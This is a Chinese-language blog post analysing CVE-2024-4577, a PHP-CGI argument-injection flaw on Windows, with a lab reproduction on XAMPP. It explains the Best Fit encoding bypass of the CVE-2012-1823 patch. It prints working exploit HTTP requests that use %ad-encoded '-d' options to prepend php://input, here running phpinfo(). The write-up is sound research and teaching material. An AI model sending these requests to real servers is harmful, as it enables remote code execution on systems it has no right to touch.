[CVE-2024-4577]PHP-CGI Windows平台远程代码执行漏洞分析

2024-06-19 354 0

一、背景知识

1.CVE-2012-1823

CVE-2024-4577漏洞是对该漏洞的修复绕过产生的,可以说该漏洞是CVE-2024-4577的前身。对该漏洞进行了解有利于分析CVE-2024-4577。

  • 该漏洞的影响的PHP版本为:

php < 5.3.12
php < 5.4.2
  • PHP-CGI
    PHP-CGI(Common Gateway Interface)是一种通过CGI协议运行PHP脚本的方式。它允许Web服务器调用外部PHP程序来处理动态内容请求,将PHP脚本的输出返回给浏览器显示。虽然PHP-CGI提供了对运行环境的更多控制,但性能和扩展性不如现代的PHP-FPM(FastCGI Process Manager)。PHP-FPM如今更常用,因为它效率更高,适合高并发环境。
    假设服务器启用了PHP-CGI功能,并接收到如下的HTTP请求:

http://host/index.php?foo=bar

这个请求便会被解析成调用PHP-CGI命令为:

php-cgi.exe index.php foo=bar
  • 漏洞成因:
    对漏洞的补丁进行分析,官方的漏洞修复commit如下:
    [CVE-2024-4577]PHP-CGI Windows平台远程代码执行漏洞分析插图
    可以看到补丁主要对字符-做了过滤,主要检测到字符串开头为-字符并且字符串不存在=字符就设置skip_getopt = 1,即跳过对该请求的处理。从上可知该远程代码执行漏洞主要由未过滤-字符导致的,下面分析为什么该字符会导致漏洞呢?
    实际上php-cgi.exe是一个可执行程序,一般在PHP安装的目录下面可以找到,执行php-cgi.exe -h命令查看帮助如下:

$php-cgi.exe -h

Usage: php [-q] [-h] [-s] [-v] [-i] [-f <file>]
       php <file> [args...]
  -a               Run interactively
  -b <address:port>|<port> Bind Path for external FASTCGI Server mode
  -C               Do not chdir to the script's directory
  -c <path>|<file> Look for php.ini file in this directory
  -n               No php.ini file will be used
  -d foo[=bar]     Define INI entry foo with value 'bar'
  -e               Generate extended information for debugger/profiler
  -f <file>        Parse <file>.  Implies `-q'
  -h               This help
  -i               PHP information
  -l               Syntax check only (lint)
  -m               Show compiled in modules
  -q               Quiet-mode.  Suppress HTTP Header output.
  -s               Display colour syntax highlighted source.
  -v               Version number
  -w               Display source with stripped comments and whitespace.
  -z <file>        Load Zend extension <file>.
  -T <count>       Measure execution time of script repeated <count> times.

从上可以看到,-d参数可以在运行时设置PHP配置选项,那么可以利用PHP配置中的allow_url_include、auto_prepend_file或auto_append_file参数来进行远程文件包含,最终实现远程代码执行。构造的HTTP请求如下:

POST /index.php?-d+allow_url_include=on+-d+auto_prepend_file=php://input HTTP/1.1
Host: host
Content-Type: application/x-www-form-urlencoded
Content-Length: 19

<?php phpinfo(); ?>

在解析成PHP-CGI调用命令后如下:

php-cgi.exe index.php -d allow_url_include=on -d auto_prepend_file=php://input

最终导致远程代码执行。

2.Best Fit特性

在Windows平台上,字符编码的Best Fit特性是指操作系统在处理字符映射时的一种行为。由于历史原因和不同地区的语言需求,Windows 操作系统实现了一种字符编码的Best Fit机制,用于在不同的字符集之间进行最佳匹配。具体处理过程为:当一个字符在当前的字符集中不存在时,Windows 将尝试在该字符集的Best Fit映射表中寻找最接近的字符进行替代显示。这种替代可能会导致某些字符在不同的语言环境下显示的效果有所不同。

二、CVE-2024-4577漏洞分析

1.漏洞条件

  • 用PHP-CGI解析请求

  • 要求Windows操作系统的活动代码页满足一定映射条件。目前繁体中文、简体中文、日文,这三个其中之一的语言版本可以触发漏洞

  • 影响的PHP版本为:

8.3 ≤ version < 8.3.8
8.2 ≤ version < 8.2.20
8.1 ≤ version < 8.1.29

2.漏洞成因

在CVE-2012-1823的补丁中可以看到对-符号做了过滤,但是忽略了在Windows环境中对字符编码存在Best Fit特性,因此导致可以进行绕过,形成了CVE-2024-4577的远程代码执行漏洞。

观察windows在gb2312(ANSI/OEM Simplified Chinese (PRC, Singapore); Chinese Simplified (GB2312))的代码页的Best Fit映射表部分内容如下:

....
0x00aa	0x0061	;a
0x00ad	0x002d	;-
0x00af	0xa1a5	;��
0x00b0	0xa1e3	;��
 ....
参考链接: https://www.unicode.org/Public/MAPPINGS/VENDORS/MICSFT/WindowsBestFit/bestfit936.txt

可以看到,如果我们提交的字符二进制数据为0xad那么在该映射表下会被解码成-字符,但在CVE-2012-1823漏洞的补丁中只是简单对字符的ascii码进行比较,而-的ascii码为0x2d,因此等式不会成立,因此达到绕过的目的。

对该漏洞的补丁进行分析,官方的修复代码(https://github.com/php/php-src/compare/php-8.3.7...php-8.3.8 sapi/cgi/cgi_main.c)如下:

[CVE-2024-4577]PHP-CGI Windows平台远程代码执行漏洞分析插图1

主要修复操作是,在windows平台下,使用一个windows提供的WideCharToMultiByte()函数对字符串进行解码,并检测编码后的字符串第一个字符是否为-,如果是则设置skip_getopt = 1,即跳过对该请求的处理。

综上所述,我们需要利用%ad替代原来的-%2d)进行绕过,构造的HTTP请求如下:

POST /index.php?%add+allow_url_include%3don+%add+auto_prepend_file%3dphp://input HTTP/1.1
Host: host
Content-Type: application/x-www-form-urlencoded
Content-Length: 19

<?php phpinfo(); ?>

3.漏洞复现

  • 环境搭建
    直接使用XAMPP来搭建环境比较方便,这里选择安装XAMPP 8.2.12 / PHP 8.2.12版本。

官网链接: https://www.apachefriends.org/zh_cn/index.html

打开apache的httpd-xampp.conf
[CVE-2024-4577]PHP-CGI Windows平台远程代码执行漏洞分析插图2
找到如下内容取消注释:

#<FilesMatch "\.php$">
#    SetHandler application/x-httpd-php-cgi
#</FilesMatch>
#<IfModule actions_module>
#    Action application/x-httpd-php-cgi "/php-cgi/php-cgi.exe"
#</IfModule>

即打开PHP-CGI功能,随后开启apache的http服务即可。
:XAMPP的web根目录在安装目录的htdocs文件夹。其次,windows系统的活动代码页需要满足漏洞条件,本机复现的活动代码页是936。可以利用chcp命令查看当前活动代码页。

$chcp
活动代码页: 936
  • 构造攻击包

POST /test.php?%add+allow_url_include%3don+%add+auto_prepend_file%3dphp://input HTTP/1.1
Host: localhost
Content-Type: application/x-www-form-urlencoded
Content-Length: 18

<?php phpinfo();?>

[CVE-2024-4577]PHP-CGI Windows平台远程代码执行漏洞分析插图3


4A评测 - 免责申明

本站提供的一切软件、教程和内容信息仅限用于学习和研究目的。

不得将上述内容用于商业或者非法用途,否则一切后果请用户自负。

本站信息来自网络,版权争议与本站无关。您必须在下载后的24个小时之内,从您的电脑或手机中彻底删除上述内容。

如果您喜欢该程序,请支持正版,购买注册,得到更好的正版服务。如有侵权请邮件与我们联系处理。敬请谅解!

程序来源网络,不确保不包含木马病毒等危险内容,请在确保安全的情况下或使用虚拟机使用。

侵权违规投诉邮箱:4ablog168#gmail.com(#换成@)

相关文章

办事处网络安全监控与事件响应;国外员工终端安全性怎么保障 | FB甲方群话题讨论
拿不下总统之位,那就用热加载拿下验证码识别与爆破好了!
Sooty:一款SoC分析一体化与自动化CLI工具
shiro CVE-2016-6802 路径绕过(越权)
Apache Solr 身份验证绕过漏洞(CVE-2024-45216)详解
llama_index的CVE-2024-4181漏洞根因分析

发布评论